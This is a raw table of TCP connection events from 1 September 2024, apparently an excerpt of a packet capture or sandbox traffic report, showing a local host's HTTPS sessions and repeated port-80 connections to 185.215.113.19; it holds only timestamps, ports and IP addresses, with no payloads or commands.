Sep 1, 2024 01:30:20.140379906 CEST	49755	443	192.168.2.5	162.159.61.3
Sep 1, 2024 01:30:20.141285896 CEST	49755	443	192.168.2.5	162.159.61.3
Sep 1, 2024 01:30:20.141349077 CEST	443	49755	162.159.61.3	192.168.2.5
Sep 1, 2024 01:30:20.141410112 CEST	49755	443	192.168.2.5	162.159.61.3
Sep 1, 2024 01:30:20.141416073 CEST	443	49755	162.159.61.3	192.168.2.5
Sep 1, 2024 01:30:20.178124905 CEST	80	49747	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:20.178189993 CEST	49747	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:20.179651976 CEST	49747	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:20.181427956 CEST	443	49756	162.159.61.3	192.168.2.5
Sep 1, 2024 01:30:20.181694031 CEST	49756	443	192.168.2.5	162.159.61.3
Sep 1, 2024 01:30:20.181714058 CEST	443	49756	162.159.61.3	192.168.2.5
Sep 1, 2024 01:30:20.182723045 CEST	443	49756	162.159.61.3	192.168.2.5
Sep 1, 2024 01:30:20.182795048 CEST	49756	443	192.168.2.5	162.159.61.3
Sep 1, 2024 01:30:20.183933020 CEST	49756	443	192.168.2.5	162.159.61.3
Sep 1, 2024 01:30:20.183998108 CEST	443	49756	162.159.61.3	192.168.2.5
Sep 1, 2024 01:30:20.184127092 CEST	49756	443	192.168.2.5	162.159.61.3
Sep 1, 2024 01:30:20.184134007 CEST	443	49756	162.159.61.3	192.168.2.5
Sep 1, 2024 01:30:20.184500933 CEST	80	49747	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:20.221592903 CEST	49753	443	192.168.2.5	172.64.41.3
Sep 1, 2024 01:30:20.221592903 CEST	49755	443	192.168.2.5	162.159.61.3
Sep 1, 2024 01:30:20.251282930 CEST	443	49754	172.64.41.3	192.168.2.5
Sep 1, 2024 01:30:20.251291037 CEST	443	49753	172.64.41.3	192.168.2.5
Sep 1, 2024 01:30:20.251349926 CEST	443	49753	172.64.41.3	192.168.2.5
Sep 1, 2024 01:30:20.251363039 CEST	49754	443	192.168.2.5	172.64.41.3
Sep 1, 2024 01:30:20.251405001 CEST	49753	443	192.168.2.5	172.64.41.3
Sep 1, 2024 01:30:20.251552105 CEST	49753	443	192.168.2.5	172.64.41.3
Sep 1, 2024 01:30:20.251579046 CEST	443	49753	172.64.41.3	192.168.2.5
Sep 1, 2024 01:30:20.251836061 CEST	49754	443	192.168.2.5	172.64.41.3
Sep 1, 2024 01:30:20.251857042 CEST	443	49754	172.64.41.3	192.168.2.5
Sep 1, 2024 01:30:20.251957893 CEST	443	49752	162.159.61.3	192.168.2.5
Sep 1, 2024 01:30:20.252028942 CEST	49752	443	192.168.2.5	162.159.61.3
Sep 1, 2024 01:30:20.252219915 CEST	49752	443	192.168.2.5	162.159.61.3
Sep 1, 2024 01:30:20.252230883 CEST	443	49752	162.159.61.3	192.168.2.5
Sep 1, 2024 01:30:20.265433073 CEST	443	49755	162.159.61.3	192.168.2.5
Sep 1, 2024 01:30:20.265503883 CEST	443	49755	162.159.61.3	192.168.2.5
Sep 1, 2024 01:30:20.265575886 CEST	49755	443	192.168.2.5	162.159.61.3
Sep 1, 2024 01:30:20.265726089 CEST	49755	443	192.168.2.5	162.159.61.3
Sep 1, 2024 01:30:20.265738010 CEST	443	49755	162.159.61.3	192.168.2.5
Sep 1, 2024 01:30:20.295408964 CEST	443	49756	162.159.61.3	192.168.2.5
Sep 1, 2024 01:30:20.295459986 CEST	49756	443	192.168.2.5	162.159.61.3
Sep 1, 2024 01:30:20.295595884 CEST	49756	443	192.168.2.5	162.159.61.3
Sep 1, 2024 01:30:20.295613050 CEST	443	49756	162.159.61.3	192.168.2.5
Sep 1, 2024 01:30:20.424978018 CEST	80	49747	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:20.428780079 CEST	49747	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:20.542598009 CEST	49747	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:20.542932034 CEST	49757	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:20.547604084 CEST	80	49747	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:20.547683954 CEST	49747	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:20.547722101 CEST	80	49757	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:20.547837973 CEST	49757	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:20.548099995 CEST	49757	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:20.552849054 CEST	80	49757	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:20.924613953 CEST	49758	443	192.168.2.5	184.28.90.27
Sep 1, 2024 01:30:20.924628973 CEST	443	49758	184.28.90.27	192.168.2.5
Sep 1, 2024 01:30:20.924781084 CEST	49758	443	192.168.2.5	184.28.90.27
Sep 1, 2024 01:30:20.926261902 CEST	49758	443	192.168.2.5	184.28.90.27
Sep 1, 2024 01:30:20.926279068 CEST	443	49758	184.28.90.27	192.168.2.5
Sep 1, 2024 01:30:21.082129002 CEST	49733	80	192.168.2.5	185.215.113.100
Sep 1, 2024 01:30:21.317073107 CEST	80	49757	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:21.322232008 CEST	49757	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:21.556976080 CEST	49759	443	192.168.2.5	172.64.41.3
Sep 1, 2024 01:30:21.557029963 CEST	443	49759	172.64.41.3	192.168.2.5
Sep 1, 2024 01:30:21.557096958 CEST	49759	443	192.168.2.5	172.64.41.3
Sep 1, 2024 01:30:21.564706087 CEST	49760	443	192.168.2.5	172.64.41.3
Sep 1, 2024 01:30:21.564732075 CEST	443	49760	172.64.41.3	192.168.2.5
Sep 1, 2024 01:30:21.564804077 CEST	49760	443	192.168.2.5	172.64.41.3
Sep 1, 2024 01:30:21.570281029 CEST	49759	443	192.168.2.5	172.64.41.3
Sep 1, 2024 01:30:21.570302963 CEST	443	49759	172.64.41.3	192.168.2.5
Sep 1, 2024 01:30:21.570547104 CEST	49760	443	192.168.2.5	172.64.41.3
Sep 1, 2024 01:30:21.570566893 CEST	443	49760	172.64.41.3	192.168.2.5
Sep 1, 2024 01:30:21.589144945 CEST	49757	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:21.594099998 CEST	80	49757	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:21.599493980 CEST	443	49758	184.28.90.27	192.168.2.5
Sep 1, 2024 01:30:21.599586964 CEST	49758	443	192.168.2.5	184.28.90.27
Sep 1, 2024 01:30:21.601794004 CEST	49758	443	192.168.2.5	184.28.90.27
Sep 1, 2024 01:30:21.601799965 CEST	443	49758	184.28.90.27	192.168.2.5
Sep 1, 2024 01:30:21.602018118 CEST	443	49758	184.28.90.27	192.168.2.5
Sep 1, 2024 01:30:21.647531033 CEST	49758	443	192.168.2.5	184.28.90.27
Sep 1, 2024 01:30:21.692508936 CEST	443	49758	184.28.90.27	192.168.2.5
Sep 1, 2024 01:30:21.840500116 CEST	80	49757	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:21.840569973 CEST	49757	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:21.862235069 CEST	49761	443	192.168.2.5	142.250.80.46
Sep 1, 2024 01:30:21.862282038 CEST	443	49761	142.250.80.46	192.168.2.5
Sep 1, 2024 01:30:21.862315893 CEST	49762	443	192.168.2.5	142.250.80.46
Sep 1, 2024 01:30:21.862323046 CEST	443	49762	142.250.80.46	192.168.2.5
Sep 1, 2024 01:30:21.862354994 CEST	49761	443	192.168.2.5	142.250.80.46
Sep 1, 2024 01:30:21.862385988 CEST	49762	443	192.168.2.5	142.250.80.46
Sep 1, 2024 01:30:21.862574100 CEST	49761	443	192.168.2.5	142.250.80.46
Sep 1, 2024 01:30:21.862591982 CEST	443	49761	142.250.80.46	192.168.2.5
Sep 1, 2024 01:30:21.862667084 CEST	49762	443	192.168.2.5	142.250.80.46
Sep 1, 2024 01:30:21.862683058 CEST	443	49762	142.250.80.46	192.168.2.5
Sep 1, 2024 01:30:21.874943018 CEST	443	49758	184.28.90.27	192.168.2.5
Sep 1, 2024 01:30:21.875000000 CEST	443	49758	184.28.90.27	192.168.2.5
Sep 1, 2024 01:30:21.875058889 CEST	49758	443	192.168.2.5	184.28.90.27
Sep 1, 2024 01:30:21.878559113 CEST	49758	443	192.168.2.5	184.28.90.27
Sep 1, 2024 01:30:21.878568888 CEST	443	49758	184.28.90.27	192.168.2.5
Sep 1, 2024 01:30:21.878581047 CEST	49758	443	192.168.2.5	184.28.90.27
Sep 1, 2024 01:30:21.878586054 CEST	443	49758	184.28.90.27	192.168.2.5
Sep 1, 2024 01:30:21.939363956 CEST	49763	443	192.168.2.5	184.28.90.27
Sep 1, 2024 01:30:21.939395905 CEST	443	49763	184.28.90.27	192.168.2.5
Sep 1, 2024 01:30:21.939636946 CEST	49763	443	192.168.2.5	184.28.90.27
Sep 1, 2024 01:30:21.939758062 CEST	49763	443	192.168.2.5	184.28.90.27
Sep 1, 2024 01:30:21.939779997 CEST	443	49763	184.28.90.27	192.168.2.5
Sep 1, 2024 01:30:21.981736898 CEST	49757	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:21.981906891 CEST	49764	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:21.987617016 CEST	80	49764	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:21.987761021 CEST	49764	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:21.987852097 CEST	49764	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:21.987934113 CEST	80	49757	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:21.987986088 CEST	49757	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:21.993602037 CEST	80	49764	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:22.041416883 CEST	443	49759	172.64.41.3	192.168.2.5
Sep 1, 2024 01:30:22.041872025 CEST	49759	443	192.168.2.5	172.64.41.3
Sep 1, 2024 01:30:22.041901112 CEST	443	49759	172.64.41.3	192.168.2.5
Sep 1, 2024 01:30:22.042243004 CEST	443	49759	172.64.41.3	192.168.2.5
Sep 1, 2024 01:30:22.042963982 CEST	49759	443	192.168.2.5	172.64.41.3
Sep 1, 2024 01:30:22.043028116 CEST	443	49759	172.64.41.3	192.168.2.5
Sep 1, 2024 01:30:22.050967932 CEST	443	49760	172.64.41.3	192.168.2.5
Sep 1, 2024 01:30:22.051173925 CEST	49760	443	192.168.2.5	172.64.41.3
Sep 1, 2024 01:30:22.051187992 CEST	443	49760	172.64.41.3	192.168.2.5
Sep 1, 2024 01:30:22.051461935 CEST	443	49760	172.64.41.3	192.168.2.5
Sep 1, 2024 01:30:22.051733017 CEST	49760	443	192.168.2.5	172.64.41.3
Sep 1, 2024 01:30:22.051786900 CEST	443	49760	172.64.41.3	192.168.2.5
Sep 1, 2024 01:30:22.106446981 CEST	49759	443	192.168.2.5	172.64.41.3
Sep 1, 2024 01:30:22.106550932 CEST	49760	443	192.168.2.5	172.64.41.3
Sep 1, 2024 01:30:22.185973883 CEST	49765	443	192.168.2.5	142.251.41.4
Sep 1, 2024 01:30:22.186007023 CEST	443	49765	142.251.41.4	192.168.2.5
Sep 1, 2024 01:30:22.186063051 CEST	49765	443	192.168.2.5	142.251.41.4
Sep 1, 2024 01:30:22.186605930 CEST	49765	443	192.168.2.5	142.251.41.4
Sep 1, 2024 01:30:22.186615944 CEST	443	49765	142.251.41.4	192.168.2.5
Sep 1, 2024 01:30:22.324158907 CEST	443	49762	142.250.80.46	192.168.2.5
Sep 1, 2024 01:30:22.324645996 CEST	49762	443	192.168.2.5	142.250.80.46
Sep 1, 2024 01:30:22.324666977 CEST	443	49762	142.250.80.46	192.168.2.5
Sep 1, 2024 01:30:22.324990988 CEST	443	49762	142.250.80.46	192.168.2.5
Sep 1, 2024 01:30:22.325045109 CEST	49762	443	192.168.2.5	142.250.80.46
Sep 1, 2024 01:30:22.325588942 CEST	443	49762	142.250.80.46	192.168.2.5
Sep 1, 2024 01:30:22.325638056 CEST	49762	443	192.168.2.5	142.250.80.46
Sep 1, 2024 01:30:22.327100039 CEST	49762	443	192.168.2.5	142.250.80.46
Sep 1, 2024 01:30:22.327159882 CEST	443	49762	142.250.80.46	192.168.2.5
Sep 1, 2024 01:30:22.327745914 CEST	49762	443	192.168.2.5	142.250.80.46
Sep 1, 2024 01:30:22.327754021 CEST	443	49762	142.250.80.46	192.168.2.5
Sep 1, 2024 01:30:22.340262890 CEST	443	49761	142.250.80.46	192.168.2.5
Sep 1, 2024 01:30:22.341497898 CEST	49761	443	192.168.2.5	142.250.80.46
Sep 1, 2024 01:30:22.341506958 CEST	443	49761	142.250.80.46	192.168.2.5
Sep 1, 2024 01:30:22.341820002 CEST	443	49761	142.250.80.46	192.168.2.5
Sep 1, 2024 01:30:22.341878891 CEST	49761	443	192.168.2.5	142.250.80.46
Sep 1, 2024 01:30:22.342417002 CEST	443	49761	142.250.80.46	192.168.2.5
Sep 1, 2024 01:30:22.342463970 CEST	49761	443	192.168.2.5	142.250.80.46
Sep 1, 2024 01:30:22.342617989 CEST	49761	443	192.168.2.5	142.250.80.46
Sep 1, 2024 01:30:22.342673063 CEST	443	49761	142.250.80.46	192.168.2.5
Sep 1, 2024 01:30:22.343055964 CEST	49761	443	192.168.2.5	142.250.80.46
Sep 1, 2024 01:30:22.343064070 CEST	443	49761	142.250.80.46	192.168.2.5
Sep 1, 2024 01:30:22.418724060 CEST	49762	443	192.168.2.5	142.250.80.46
Sep 1, 2024 01:30:22.434155941 CEST	443	49762	142.250.80.46	192.168.2.5
Sep 1, 2024 01:30:22.434437990 CEST	443	49762	142.250.80.46	192.168.2.5
Sep 1, 2024 01:30:22.434485912 CEST	49762	443	192.168.2.5	142.250.80.46
Sep 1, 2024 01:30:22.434912920 CEST	49762	443	192.168.2.5	142.250.80.46
Sep 1, 2024 01:30:22.434932947 CEST	443	49762	142.250.80.46	192.168.2.5
Sep 1, 2024 01:30:22.434940100 CEST	49762	443	192.168.2.5	142.250.80.46
Sep 1, 2024 01:30:22.434973955 CEST	49762	443	192.168.2.5	142.250.80.46
Sep 1, 2024 01:30:22.457051992 CEST	443	49761	142.250.80.46	192.168.2.5
Sep 1, 2024 01:30:22.457103014 CEST	49761	443	192.168.2.5	142.250.80.46
Sep 1, 2024 01:30:22.457617044 CEST	49761	443	192.168.2.5	142.250.80.46
Sep 1, 2024 01:30:22.457623959 CEST	443	49761	142.250.80.46	192.168.2.5
Sep 1, 2024 01:30:22.600833893 CEST	443	49763	184.28.90.27	192.168.2.5
Sep 1, 2024 01:30:22.600908041 CEST	49763	443	192.168.2.5	184.28.90.27
Sep 1, 2024 01:30:22.602229118 CEST	49763	443	192.168.2.5	184.28.90.27
Sep 1, 2024 01:30:22.602240086 CEST	443	49763	184.28.90.27	192.168.2.5
Sep 1, 2024 01:30:22.602438927 CEST	443	49763	184.28.90.27	192.168.2.5
Sep 1, 2024 01:30:22.603550911 CEST	49763	443	192.168.2.5	184.28.90.27
Sep 1, 2024 01:30:22.648268938 CEST	443	49765	142.251.41.4	192.168.2.5
Sep 1, 2024 01:30:22.648503065 CEST	443	49763	184.28.90.27	192.168.2.5
Sep 1, 2024 01:30:22.648605108 CEST	49765	443	192.168.2.5	142.251.41.4
Sep 1, 2024 01:30:22.648616076 CEST	443	49765	142.251.41.4	192.168.2.5
Sep 1, 2024 01:30:22.649907112 CEST	443	49765	142.251.41.4	192.168.2.5
Sep 1, 2024 01:30:22.650007010 CEST	49765	443	192.168.2.5	142.251.41.4
Sep 1, 2024 01:30:22.650988102 CEST	49765	443	192.168.2.5	142.251.41.4
Sep 1, 2024 01:30:22.651103973 CEST	443	49765	142.251.41.4	192.168.2.5
Sep 1, 2024 01:30:22.651256084 CEST	49765	443	192.168.2.5	142.251.41.4
Sep 1, 2024 01:30:22.651262045 CEST	443	49765	142.251.41.4	192.168.2.5
Sep 1, 2024 01:30:22.715574980 CEST	49765	443	192.168.2.5	142.251.41.4
Sep 1, 2024 01:30:22.732084990 CEST	80	49764	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:22.732153893 CEST	49764	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:22.736557007 CEST	49764	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:22.741362095 CEST	80	49764	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:22.746119022 CEST	443	49765	142.251.41.4	192.168.2.5
Sep 1, 2024 01:30:22.746167898 CEST	443	49765	142.251.41.4	192.168.2.5
Sep 1, 2024 01:30:22.746206045 CEST	443	49765	142.251.41.4	192.168.2.5
Sep 1, 2024 01:30:22.746241093 CEST	443	49765	142.251.41.4	192.168.2.5
Sep 1, 2024 01:30:22.746258020 CEST	49765	443	192.168.2.5	142.251.41.4
Sep 1, 2024 01:30:22.746267080 CEST	443	49765	142.251.41.4	192.168.2.5
Sep 1, 2024 01:30:22.746313095 CEST	49765	443	192.168.2.5	142.251.41.4
Sep 1, 2024 01:30:22.746522903 CEST	443	49765	142.251.41.4	192.168.2.5
Sep 1, 2024 01:30:22.746829987 CEST	49765	443	192.168.2.5	142.251.41.4
Sep 1, 2024 01:30:22.747953892 CEST	49766	443	192.168.2.5	142.250.80.46
Sep 1, 2024 01:30:22.747998953 CEST	443	49766	142.250.80.46	192.168.2.5
Sep 1, 2024 01:30:22.748063087 CEST	49766	443	192.168.2.5	142.250.80.46
Sep 1, 2024 01:30:22.748775959 CEST	49766	443	192.168.2.5	142.250.80.46
Sep 1, 2024 01:30:22.748792887 CEST	443	49766	142.250.80.46	192.168.2.5
Sep 1, 2024 01:30:22.748884916 CEST	49765	443	192.168.2.5	142.251.41.4
Sep 1, 2024 01:30:22.748898029 CEST	443	49765	142.251.41.4	192.168.2.5
Sep 1, 2024 01:30:22.764318943 CEST	49767	443	192.168.2.5	142.250.80.46
Sep 1, 2024 01:30:22.764343023 CEST	443	49767	142.250.80.46	192.168.2.5
Sep 1, 2024 01:30:22.764446020 CEST	49767	443	192.168.2.5	142.250.80.46
Sep 1, 2024 01:30:22.764951944 CEST	49767	443	192.168.2.5	142.250.80.46
Sep 1, 2024 01:30:22.764961958 CEST	443	49767	142.250.80.46	192.168.2.5
Sep 1, 2024 01:30:22.882157087 CEST	443	49763	184.28.90.27	192.168.2.5
Sep 1, 2024 01:30:22.882198095 CEST	443	49763	184.28.90.27	192.168.2.5
Sep 1, 2024 01:30:22.882278919 CEST	49763	443	192.168.2.5	184.28.90.27
Sep 1, 2024 01:30:22.882960081 CEST	49763	443	192.168.2.5	184.28.90.27
Sep 1, 2024 01:30:22.882960081 CEST	49763	443	192.168.2.5	184.28.90.27
Sep 1, 2024 01:30:22.882971048 CEST	443	49763	184.28.90.27	192.168.2.5
Sep 1, 2024 01:30:22.882978916 CEST	443	49763	184.28.90.27	192.168.2.5
Sep 1, 2024 01:30:22.982220888 CEST	80	49764	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:22.982278109 CEST	49764	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:23.089797974 CEST	49764	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:23.090166092 CEST	49768	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:23.094993114 CEST	80	49764	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:23.095009089 CEST	80	49768	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:23.095062971 CEST	49764	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:23.095099926 CEST	49768	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:23.095268965 CEST	49768	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:23.100059986 CEST	80	49768	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:23.207225084 CEST	443	49766	142.250.80.46	192.168.2.5
Sep 1, 2024 01:30:23.207494974 CEST	49766	443	192.168.2.5	142.250.80.46
Sep 1, 2024 01:30:23.207523108 CEST	443	49766	142.250.80.46	192.168.2.5
Sep 1, 2024 01:30:23.207843065 CEST	443	49766	142.250.80.46	192.168.2.5
Sep 1, 2024 01:30:23.207912922 CEST	49766	443	192.168.2.5	142.250.80.46
Sep 1, 2024 01:30:23.208458900 CEST	443	49766	142.250.80.46	192.168.2.5
Sep 1, 2024 01:30:23.208506107 CEST	49766	443	192.168.2.5	142.250.80.46
Sep 1, 2024 01:30:23.208631992 CEST	49766	443	192.168.2.5	142.250.80.46
Sep 1, 2024 01:30:23.208682060 CEST	443	49766	142.250.80.46	192.168.2.5
Sep 1, 2024 01:30:23.243308067 CEST	443	49767	142.250.80.46	192.168.2.5
Sep 1, 2024 01:30:23.243582010 CEST	49767	443	192.168.2.5	142.250.80.46
Sep 1, 2024 01:30:23.243604898 CEST	443	49767	142.250.80.46	192.168.2.5
Sep 1, 2024 01:30:23.243918896 CEST	443	49767	142.250.80.46	192.168.2.5
Sep 1, 2024 01:30:23.244005919 CEST	49767	443	192.168.2.5	142.250.80.46
Sep 1, 2024 01:30:23.244541883 CEST	443	49767	142.250.80.46	192.168.2.5
Sep 1, 2024 01:30:23.244597912 CEST	49767	443	192.168.2.5	142.250.80.46
Sep 1, 2024 01:30:23.246637106 CEST	49767	443	192.168.2.5	142.250.80.46
Sep 1, 2024 01:30:23.246690035 CEST	443	49767	142.250.80.46	192.168.2.5
Sep 1, 2024 01:30:23.261571884 CEST	49766	443	192.168.2.5	142.250.80.46
Sep 1, 2024 01:30:23.261600018 CEST	443	49766	142.250.80.46	192.168.2.5
Sep 1, 2024 01:30:23.292489052 CEST	49767	443	192.168.2.5	142.250.80.46
Sep 1, 2024 01:30:23.292504072 CEST	443	49767	142.250.80.46	192.168.2.5
Sep 1, 2024 01:30:23.308687925 CEST	49766	443	192.168.2.5	142.250.80.46
Sep 1, 2024 01:30:23.340284109 CEST	49767	443	192.168.2.5	142.250.80.46
Sep 1, 2024 01:30:23.842178106 CEST	80	49768	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:23.842305899 CEST	49768	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:23.843097925 CEST	49768	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:23.847836018 CEST	80	49768	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:24.090648890 CEST	80	49768	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:24.090732098 CEST	49768	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:24.198815107 CEST	49768	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:24.198966980 CEST	49769	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:24.203798056 CEST	80	49769	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:24.203964949 CEST	80	49768	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:24.204003096 CEST	49769	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:24.204171896 CEST	49768	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:24.204184055 CEST	49769	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:24.208952904 CEST	80	49769	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:24.950514078 CEST	80	49769	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:24.952914953 CEST	49769	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:24.955549002 CEST	49769	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:24.960297108 CEST	80	49769	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:25.202522039 CEST	80	49769	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:25.203865051 CEST	49769	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:25.323823929 CEST	49769	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:25.324038029 CEST	49770	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:25.328901052 CEST	80	49770	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:25.329020023 CEST	80	49769	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:25.329125881 CEST	49769	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:25.329149008 CEST	49770	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:25.330421925 CEST	49770	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:25.336718082 CEST	80	49770	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:26.068873882 CEST	80	49770	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:26.068945885 CEST	49770	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:26.069638014 CEST	49770	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:26.074413061 CEST	80	49770	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:26.314642906 CEST	80	49770	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:26.314857006 CEST	49770	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:26.432977915 CEST	49770	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:26.433310986 CEST	49771	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:26.438121080 CEST	80	49771	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:26.438159943 CEST	80	49770	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:26.438240051 CEST	49770	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:26.438256025 CEST	49771	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:26.438500881 CEST	49771	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:26.443247080 CEST	80	49771	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:27.209547043 CEST	80	49771	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:27.209605932 CEST	49771	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:27.210740089 CEST	49771	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:27.215564966 CEST	80	49771	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:27.492856979 CEST	80	49771	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:27.493112087 CEST	49771	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:27.604250908 CEST	49771	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:27.604589939 CEST	49772	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:27.609338045 CEST	80	49771	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:27.609448910 CEST	49771	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:27.609451056 CEST	80	49772	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:27.609525919 CEST	49772	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:27.609633923 CEST	49772	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:27.614401102 CEST	80	49772	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:28.379147053 CEST	80	49772	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:28.379323006 CEST	49772	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:28.379925013 CEST	49772	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:28.384741068 CEST	80	49772	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:28.631386995 CEST	80	49772	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:28.631467104 CEST	49772	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:28.744874954 CEST	49772	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:28.745230913 CEST	49773	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:28.751604080 CEST	80	49772	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:28.751682997 CEST	49772	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:28.751750946 CEST	80	49773	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:28.751830101 CEST	49773	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:28.751979113 CEST	49773	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:28.758110046 CEST	80	49773	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:29.500746965 CEST	80	49773	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:29.500869989 CEST	49773	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:29.501516104 CEST	49773	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:29.508069038 CEST	80	49773	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:29.749727964 CEST	80	49773	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:29.749806881 CEST	49773	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:29.859107971 CEST	49773	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:29.859291077 CEST	49774	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:29.864113092 CEST	80	49774	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:29.864208937 CEST	49774	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:29.864306927 CEST	49774	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:29.864309072 CEST	80	49773	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:29.864353895 CEST	49773	80	192.168.2.5	185.215.113.19
Sep 1, 2024 01:30:29.869649887 CEST	80	49774	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:30.602127075 CEST	80	49774	185.215.113.19	192.168.2.5
Sep 1, 2024 01:30:30.602183104 CEST	49774	80	192.168.2.5	185.215.113.19
